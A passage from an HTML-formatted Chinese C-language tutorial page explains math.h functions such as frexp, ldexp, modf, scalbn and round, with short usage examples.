href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signbit\" class=\"headerlink\" title=\"signbit()\"\u003e\u003c/a\u003esignbit()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esignbit()\u003c/code\u003e判断参数是否带有符号。如果参数为负值,则返回1,否则返回0。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignbit(\u003cspan class=\"number\"\u003e3490.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esignbit(\u003cspan class=\"number\"\u003e-37.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"三角函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%89%E8%A7%92%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"三角函数\"\u003e\u003c/a\u003e三角函数\u003c/h3\u003e\u003cp\u003e以下是三角函数,参数为弧度值。\u003c/p\u003e\u003cul\u003e\u003cli\u003eacos():反余弦。\u003c/li\u003e\u003cli\u003easin():反正弦。\u003c/li\u003e\u003cli\u003eatan():反正切\u003c/li\u003e\u003cli\u003eatan2():反正切。\u003c/li\u003e\u003cli\u003ecos():余弦。\u003c/li\u003e\u003cli\u003esin():正弦。\u003c/li\u003e\u003cli\u003etan():正切。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e不要忘了,上面所有函数都有 float 版本(函数名加上 f 后缀)和 long double 版本(函数名加上 l 后缀)。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecos\u003c/span\u003e(PI/\u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0.707107\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"双曲函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%8C%E6%9B%B2%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"双曲函数\"\u003e\u003c/a\u003e双曲函数\u003c/h3\u003e\u003cp\u003e以下是双曲函数,参数都为浮点数。\u003c/p\u003e\u003cul\u003e\u003cli\u003eacosh():反双曲余弦。\u003c/li\u003e\u003cli\u003easinh():反双曲正弦。\u003c/li\u003e\u003cli\u003eatanh():反双曲正切。\u003c/li\u003e\u003cli\u003ecosh():双曲余弦。\u003c/li\u003e\u003cli\u003etanh():双曲正切。\u003c/li\u003e\u003cli\u003esinh():双曲正弦。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"指数函数和对数函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%8C%87%E6%95%B0%E5%87%BD%E6%95%B0%E5%92%8C%E5%AF%B9%E6%95%B0%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"指数函数和对数函数\"\u003e\u003c/a\u003e指数函数和对数函数\u003c/h3\u003e\u003cp\u003e以下是指数函数和对数函数,它们的返回值都是 double 类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eexp():计算欧拉数 e 的乘方,即 e\u003csup\u003ex\u003c/sup\u003e。\u003c/li\u003e\u003cli\u003eexp2():计算 2 的乘方,即 2\u003csup\u003ex\u003c/sup\u003e。\u003c/li\u003e\u003cli\u003eexpm1():计算 e\u003csup\u003ex\u003c/sup\u003e - 1。\u003c/li\u003e\u003cli\u003elog():计算自然对数,\u003ccode\u003eexp()\u003c/code\u003e的逆运算。\u003c/li\u003e\u003cli\u003elog2():计算以2为底的对数。\u003c/li\u003e\u003cli\u003elog10():计算以10为底的对数。\u003c/li\u003e\u003cli\u003elogp1():计算一个数加 1 的自然对数,即\u003ccode\u003eln(x + 1)\u003c/code\u003e。\u003c/li\u003e\u003cli\u003elogb():计算以宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e(一般为2)为底的对数,但只返回整数部分。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 20.085500\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003elog\u003c/span\u003e(\u003cspan class=\"number\"\u003e20.0855\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003elog10\u003c/span\u003e(\u003cspan class=\"number\"\u003e10000\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果结果值超出了 C 语言可以表示的最大值,函数将返回\u003ccode\u003eHUGE_VAL\u003c/code\u003e,它是一个在\u003ccode\u003emath.h\u003c/code\u003e中定义的 double 类型的值。\u003c/p\u003e\u003cp\u003e如果结果值太小,无法用 double 值表示,函数将返回0。以上这两种情况都属于出错。\u003c/p\u003e\u003ch3 id=\"frexp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#frexp\" class=\"headerlink\" title=\"frexp()\"\u003e\u003c/a\u003efrexp()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efrexp()\u003c/code\u003e将参数分解成浮点数和指数部分(2为底数),比如 1234.56 可以写成 0.6028125 * 2\u003csup\u003e11\u003c/sup\u003e,这个函数就能分解出 0.6028125 和 11。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efrexp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e value, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"built_in\"\u003eexp\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是用来分解的浮点数,第二个参数是一个整数变量指针。\u003c/p\u003e\u003cp\u003e它返回小数部分,并将指数部分放入变量\u003ccode\u003eexp\u003c/code\u003e。如果参数为\u003ccode\u003e0\u003c/code\u003e,则返回的小数部分和指数部分都为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e frac;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e expt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// expt 的值是 11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efrac = \u003cspan class=\"built_in\"\u003efrexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e1234.56\u003c/span\u003e, \u0026amp;expt);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 1234.56 = 0.6028125 x 2^11\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;1234.56 = %.7f x 2^%d\\n\u0026#34;\u003c/span\u003e, frac, expt);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ilogb\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ilogb\" class=\"headerlink\" title=\"ilogb()\"\u003e\u003c/a\u003eilogb()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eilogb()\u003c/code\u003e返回一个浮点数的指数部分,指数的基数是宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e(一般是\u003ccode\u003e2\u003c/code\u003e)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eilogb\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的参数为\u003ccode\u003ex\u003c/code\u003e,返回值是 log\u003csub\u003er\u003c/sub\u003e|x|,其中\u003ccode\u003er\u003c/code\u003e为宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eilogb(\u003cspan class=\"number\"\u003e257\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eilogb(\u003cspan class=\"number\"\u003e256\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eilogb(\u003cspan class=\"number\"\u003e255\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 7\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ldexp\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ldexp\" class=\"headerlink\" title=\"ldexp()\"\u003e\u003c/a\u003eldexp()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eldexp()\u003c/code\u003e将一个数乘以2的乘方。它可以看成是\u003ccode\u003efrexp()\u003c/code\u003e的逆运算,将小数部分和指数部分合成一个\u003ccode\u003ef * 2^n\u003c/code\u003e形式的浮点数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eldexp\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexp\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是乘数\u003ccode\u003ex\u003c/code\u003e,第二个参数是2的指数部分\u003ccode\u003eexp\u003c/code\u003e,返回“x * 2\u003csup\u003eexp\u003c/sup\u003e”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1024.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 12.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e0.75\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 12.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eldexp\u003c/span\u003e(\u003cspan class=\"number\"\u003e0.5\u003c/span\u003e, \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0.250000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"modf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#modf\" class=\"headerlink\" title=\"modf()\"\u003e\u003c/a\u003emodf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003emodf()\u003c/code\u003e函数提取一个数的整数部分和小数部分。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003emodf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e value, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e* iptr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数\u003ccode\u003evalue\u003c/code\u003e表示待分解的数值,第二个参数是浮点数变量\u003ccode\u003eiptr\u003c/code\u003e。返回值是\u003ccode\u003evalue\u003c/code\u003e的小数部分,整数部分放入变量\u003ccode\u003edouble\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// int_part 的值是 3.0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emodf\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e, \u0026amp;int_part); \u003cspan class=\"comment\"\u003e// 返回 0.14159\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"scalbn\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#scalbn\" class=\"headerlink\" title=\"scalbn()\"\u003e\u003c/a\u003escalbn()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003escalbn()\u003c/code\u003e用来计算“x * r\u003csup\u003en\u003c/sup\u003e”,其中\u003ccode\u003er\u003c/code\u003e是宏\u003ccode\u003eFLT_RADIX\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003escalbn\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数\u003ccode\u003ex\u003c/code\u003e是乘数部分,第二个参数\u003ccode\u003en\u003c/code\u003e是指数部分,返回值是“x * r\u003csup\u003en\u003c/sup\u003e”。\u003c/p\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escalbn(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 512.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数有多个版本。\u003c/p\u003e\u003cul\u003e\u003cli\u003escalbn():指数 n 是 int 类型。\u003c/li\u003e\u003cli\u003escalbnf():float 版本的 scalbn()。\u003c/li\u003e\u003cli\u003escalbnl():long double 版本的 scalbn()。\u003c/li\u003e\u003cli\u003escalbln():指数 n 是 long int 类型。\u003c/li\u003e\u003cli\u003escalblnf():float 版本的 scalbln()。\u003c/li\u003e\u003cli\u003escalblnl():long double 版本的 scalbln()。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"round\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#round\" class=\"headerlink\" title=\"round()\"\u003e\u003c/a\u003eround()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eround()\u003c/code\u003e函数以传统方式进行四舍五入,比如\u003ccode\u003e1.5\u003c/code\u003e舍入到\u003ccode\u003e2\u003c/code\u003e,\u003ccode\u003e-1.5\u003c/code\u003e舍入到\u003ccode\u003e-2\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eround\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它返回一个浮点数。\u003c/p\u003e\u003cp\u003e下面是一些例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e3.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 3.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e3.5\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 4.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e-1.5\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -2.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eround(\u003cspan class=\"number\"\u003e-1.14\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// -1.000000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它还有一些其他版本。\u003c/p\u003e\u003cul\u003e\u003cli\u003elround():返回值是 long int 类型。\u003c/li\u003e\u003cli\u003ellround():返回值是 long long int 类型。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"trunc\"\u003e\u003ca 